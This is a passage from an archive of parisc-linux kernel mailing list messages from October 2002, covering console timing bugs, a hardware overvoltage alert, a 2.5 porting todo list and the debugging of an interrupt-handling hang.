>	Joel Soete <joel.soete@freebel.net>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console
on
>k-2.4.19-pa22
>Reply-To: Randolph Chung <randolph@tausq.org>
>http://webmail.tiscali.be/mail/MessageReplyAll?sid=5EE24D73986685F6BB8554D60A54F6B3D78F70EA&userid=jsoe0708@tiscali.be&seq=C&auth=HQABMXGH0KEBXZNU&srcfolder=INBOX&uid=2152&style=frans&abcompose=0
:: envoyer
>
>> it sounds like a gcc bug:
>> 
>> simply adding "printk("VC: %s: %d\n", __FUNCTION__, __LINE__);" some where
>> in the middle of take_over_console (to check the way) and the problem
is
>> solved???
>
>unlikely a gcc bug, more likely is that the code has some timing
>dependencies and adding printk changed the timing.
>
Ok, I see (So I will try some wait to locate more accurately the problem)

Thanks for advise,
    Joel



From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: GSP on A500 - Level 14 Alert - Output overvoltage?
Date: Mon, 21 Oct 2002 13:04:55 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20021021170455.GA4751@systemhalted>
References: <20021020052623.GA1577@systemhalted> <20021020233710.A78BA4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621846 15878 80.91.229.3 (22 Nov 2014 02:04:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 11:04:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC5314829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 11:04:58 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 183fz5-0001G4-00; Mon, 21 Oct 2002 13:04:55 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021020233710.A78BA4829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16542

Grant,
 
> this would suggest your site has a voltage regulation problem.
> you might get out a DVM and see if that's a persistent problem.

By 'site' do you mean 'external AC'? 

I had assumed that the issue dealt with the internal switching
supply doing the damage.

I shall put the system behind a better UPS and see if the problem
goes away. 
 
> I'd unplug the power too just to be sure it's really reset.

Good point.

c. 



From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Mon, 21 Oct 2002 12:46:44 -0400 (EDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <200210211646.g9LGki9b016805@hiauly1.hia.nrc.ca>
References: <3DA56CAE00003DB5@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621847 15883 80.91.229.3 (22 Nov 2014 02:04:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:07 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 11:06:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68ECB4838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 11:06:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9LGkj00016806;
	Mon, 21 Oct 2002 12:46:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9LGki9b016805;
	Mon, 21 Oct 2002 12:46:44 -0400 (EDT)
In-Reply-To: <3DA56CAE00003DB5@ocpmta8.be.tiscali.com> from "jsoe0708@tiscali.be" at Oct 21, 2002 04:43:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16543

> it sounds like a gcc bug:

What does a gcc bug sound like ;-)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: GSP on A500 - Level 14 Alert - Output overvoltage?
Date: Mon, 21 Oct 2002 13:18:40 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200210211718.g9LHIeGF016893@hiauly1.hia.nrc.ca>
References: <20021021170455.GA4751@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621847 15891 80.91.229.3 (22 Nov 2014 02:04:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:07 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 11:36:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01CF64829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 11:36:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9LHIf00016894;
	Mon, 21 Oct 2002 13:18:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9LHIeGF016893;
	Mon, 21 Oct 2002 13:18:40 -0400 (EDT)
In-Reply-To: <20021021170455.GA4751@systemhalted> from "Carlos O'Donell" at Oct 21, 2002 01:04:55 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16544

> I had assumed that the issue dealt with the internal switching
> supply doing the damage.

Yes, the message indicated that the problem was with a DC supply
voltage.  If it's internal, this could damage the circuits in the
system.  CPU chips normally have very tight voltage requirements
for proper operation.  I would check the manual to see what is
recommended when this error occurs.  You measure the voltages
on an unused drive connector, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: GSP on A500 - Level 14 Alert - Output overvoltage?
Date: Mon, 21 Oct 2002 12:30:54 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20021021183054.667134829@dsl2.external.hp.com>
References: <20021020052623.GA1577@systemhalted> <20021020233710.A78BA4829@dsl2.external.hp.com>  <20021021170455.GA4751@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621847 15894 80.91.229.3 (22 Nov 2014 02:04:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:07 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 12:30:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 667134829; Mon, 21 Oct 2002 12:30:54 -0600 (MDT)
In-Reply-To: Message from Carlos O'Donell <carlos@baldric.uwo.ca> 
   of "Mon, 21 Oct 2002 13:04:55 EDT." <20021021170455.GA4751@systemhalted> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16545

Carlos O'Donell wrote:
> By 'site' do you mean 'external AC'? 

yes.

> I had assumed that the issue dealt with the internal switching
> supply doing the damage.

hmm...you might be right.

> I shall put the system behind a better UPS and see if the problem
> goes away. 

I'd still measure UPS output just to rule that out.
(Ie something easy to do and something I expect the HW to monitor).

grant


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWSCSI on a 735/125
Date: 21 Oct 2002 13:37:08 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1035229028.15020.10.camel@beavis>
References: <a05111b04b9d90ac0ea5d@[192.168.0.67]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621848 15900 80.91.229.3 (22 Nov 2014 02:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 13:37:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D14A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 13:37:15 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id AF8072B281; Mon, 21 Oct 2002 13:37:08 -0600 (MDT)
In-Reply-To: <a05111b04b9d90ac0ea5d@[192.168.0.67]>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16546

Aaron,

Still on my TODO list, but no progess has been made yet.

sorry.

- Ryan

On Sun, 2002-10-20 at 19:37, Aaron Macks wrote:
> I remember a while ago that this was not working, but I don't 
> remember if any progress has been made yet.  Anything?
> Aaron
> -- 
> _______________________________________________________
> Aaron Macks(aaronm@cs.brandeis.edu) [http://wiglaf.cs-i.brandeis.edu/~aaronm]
> My sheep has seven gall bladders, that makes me the King of the Universe!
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 status 2002-10-21
Date: Mon, 21 Oct 2002 20:50:00 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <20021021205000.E1356@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621848 15904 80.91.229.3 (22 Nov 2014 02:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 13:50:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD8034829
	for <parisc-linux@parisc-linux.org>; Mon, 21 Oct 2002 13:50:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 183iYq-0003uP-00
	for parisc-linux@parisc-linux.org; Mon, 21 Oct 2002 20:50:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16547

Here's the latest todo list, currently being maintained in CVS.  I'd like
to thank everyone who's jumped in to help over the last week; it's been
truly amazing.  Linus is currently away so we can't send anything to him,
but we're in good shape as far as the feature freeze is concerned.

Status:
-------
 - Merged to 2.5.44
 - 2.5.41 booted on an A500; neither 2.5.43 nor 2.5.44 have booted yet.
 - Don't know what other patches need to be brought forward from 2.4
 - SMP doesn't work yet
 - No preemptible support
 - No CPU hotplug support

Todo:
-----
 - review makefiles for safe parallel builds
 - review diff vs 2.4 for additional changes
 - Serial code not working for c3000 (helge)
 - the fix for do_fork needs checking
 - mux driver needs to be forward ported from 2.4 (rbrad)
 - need to get an official number for PDC_CONS or MUX (any problem with using
        the same number for both?) (rbrad)
 - Some options still need Config.help entries
 - figure out whether arch/parisc/kernel/keyboard.c can be deleted.
 - drivers/char/keyboard.c:987:2: warning: #warning "Cannot generate rawmode
        keyboard for your architecture yet."
 - implement synchronize_irq().

 - show_trace()/show_stack() etc need to be implemented for parisc. right
   now they are just empty stubs. i have some initial versions of these
   that are probably not quite correct. will look into it some more.
 - our PDC early debug console hacks need to be cleaned up somehow
 - pci serial is broken still in 2.5.41, may be fixed in 2.5.42
 - drivers/pci/setup-bus.c has a hppa-specific #ifdef right now to
   prevent pci reinit from hpmc'ing the machine. this probably needs to
   go upstream

 - on 64-bit kernel (at least) jiffies/wall_jiffies may get out of sync
   leading to very long loops in kernel/timer.c:update_times
 - arch/parisc/kernel/time.c:gettimeoffset sometimes returns a negative
   offset, which leads to a very long loop in do_gettimeofday
 - random userspace segfaults (UP) - stack pointer seems to be corrupted
   on return from some kernel paths

 - ad1889 driver - stress, debug, ALSA and commit to 2.5 (ggg, tausq, tbone)
 - ns87415 dma doesn't work reliably on suckyio-systems

 - flush_tlb_kernel_range is horribly inefficient
 - flush_icache_user_range could flush just that range rather than the
   entire page.
 - (ab)use kmap/kunmap on 64-bit to eliminate flush_dcache calls.
 - cp_new_stat32 for sys_parisc32.c is inefficient; maybe it's better
   to fill in a tmp stat32 and just do copy_to_user in one go at the end?
 - syscall signal return path needs work
 - task_struct/thread_info split -- task_struct should not be visible in
   entry.S, we need to move some items into thread_info -- this includes
   pt_regs and maybe some of the flags (ptrace, etc)
 - Use zone_highmem for the 256MB of RAM at 64GB on Astro-based machines.
   (NB, what does Stretch do?)

 - call to pdc_suspend_usb() in inventory.c crashes c3k with kernel 2.5
 - fix harmony buffer-overflows
 - fix HIL problem: ksoftirqd eats 100% cpu (kernel 2.4; kernel 2.5?)
 - CONFIG_INTERMEZZO_FS=m doesn't build (or link)
 - CONFIG_REISERFS_FS=m   doesn't build (or link)
 - CONFIG_XFS_FS=m        doesn't build (or link)


 Started and in progress:
 ------------------------
 - port sym53c8xx hppa changes forward (helge)
 - What's going on with CONFIG_HIL? (tbone, for review -> helge?)
 - Look at Config.help too. (tbone, HIL -> helge?)
 - send UTS_MACHINE diff to Linus (willy)
 - send shmem flush to akpm (willy)
 - send personality diff to Linus (willy)
 - send another ARCH_STACK_GROWS_UP diff to Linus (willy)
 - send generic prefetch xor checksums to Linus (willy)
 - send tulip changes to jgarzik (grant)
 - switching Harmony to ALSA (laurent)
 - remove all references to sti(), cli(), save_flags() and restore_flags() (will
y, tbone, ...)


 Done:
 -----
 - stifb & sticon compiles and works (helge)
 - fixed genrtc merge error (willy)
 - sent .text.init -> .init.text change to Linus (willy)
 - port ns87415 hppa changes forward (grant)
 - remove obsolete tcpdiag_cookie patch from our tree (willy)
 - serial console works for 712 (willy)
 - merged 2.5.43 (bame)
 - migrated to asm-offsets.c (willy)
 - forward-ported the loff_t argument fixes from 2.4 (willy)
 - do a better job of vmlinux{32,64}.lds (tausq)
 - merged 2.5.44 (bame)


 CONFIG options without help:
 -----------------------------
 _PDC_CONSOLE
 _USB_OHCI_HCD (add parisc info?)
 _HP_SDC_RTC
 _HIL_MLC
 _HIL_KBD (to improve)
 _HIL_PTR (to improve)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Mon, 21 Oct 2002 15:58:17 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20021021215818.EBA7D4829@dsl2.external.hp.com>
References: <20021013044033.88A544829@dsl2.external.hp.com> <20021021155932.L5285@parcelfarce.linux.theplanet.co.uk>  <20021021162626.A1356@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621848 15906 80.91.229.3 (22 Nov 2014 02:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 15:58:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id EBA7D4829; Mon, 21 Oct 2002 15:58:17 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 21 Oct 2002 16:26:26 BST." <20021021162626.A1356@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16548

Matthew Wilcox wrote:
> So I think we want to change the sti() call to local_irq_enable().

I think we want to remove it all together. Since I don't have a PA2.0
book handy, PA1.1 Arch and Instruction Set Manual, page 5-141 says:
	"... Execution of an RFIR instruction when any of the
	PSW Q, I, or R bits are ones is an undefined operation."

When "handle_interrupts()" is done, execution will return to entry.S
and execute "rfir".  I expect RFIR to put I-bit back the way it was.

And anyone decoding state/insns in the trap/fault handler should read
the next page (5-142):
	"Because this sequence restores the state of the execution pipeline,
	it is possible for software to place the processor in states which
	could not result from the execution of any sequence of insns
	not involving interrupts."

Anyway,  I tried both current CVS and removing local_irq_enable().
Both "hung" in sym2 disk search. :^(
Still looking.

thanks,
grant


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Mon, 21 Oct 2002 18:41:48 -0600 (MDT)
Lines: 92
Approved: news@gmane.org
Message-ID: <200210220041.SAA17351@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621848 15910 80.91.229.3 (22 Nov 2014 02:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 18:41:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95A954829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 18:41:52 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id E8726804D62
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 20:41:48 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id SAA17351
	for parisc-linux@lists.parisc-linux.org; Mon, 21 Oct 2002 18:41:48 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16549

> ok, going back through the CVS logs finds the answer:
>
> http://cvs.parisc-linux.org/obsolete/linux-2.3/arch/parisc/kernel/traps.c#rev1.
> 9
>
> Revision 1.9 / (as text) / (view) - annotate - [select for diffs] , Tue Feb 15
> 17:02:03 2000 UTC (2 years, 8 months ago) by jsm
> Branch: MAIN
> Changes since 1.8: +11 -2 lines
> Diff to previous 1.8
>
> Enable interrupts in fault path. Trap kernel space faults.
>
> So I think we want to change the sti() call to local_irq_enable().
>

Oooh, enabling interrupts on all processors is very bad.  Bad jsm, bad
jsm.  I tried to go back and figure out what was going on in my head back
then (2 years, 8 months ago).  Had to rummage around in the CVS attic to
find interruption.S for changes made at the same time.  At the time, user
processes were not being rescheduled properly (we had just turned on user
space), and they were running with I bit off.  I don't really remember why
I thought enabling interrupts here was a good idea.  Probably had
something to do with not wanting to handle faults with the I bit off.  But
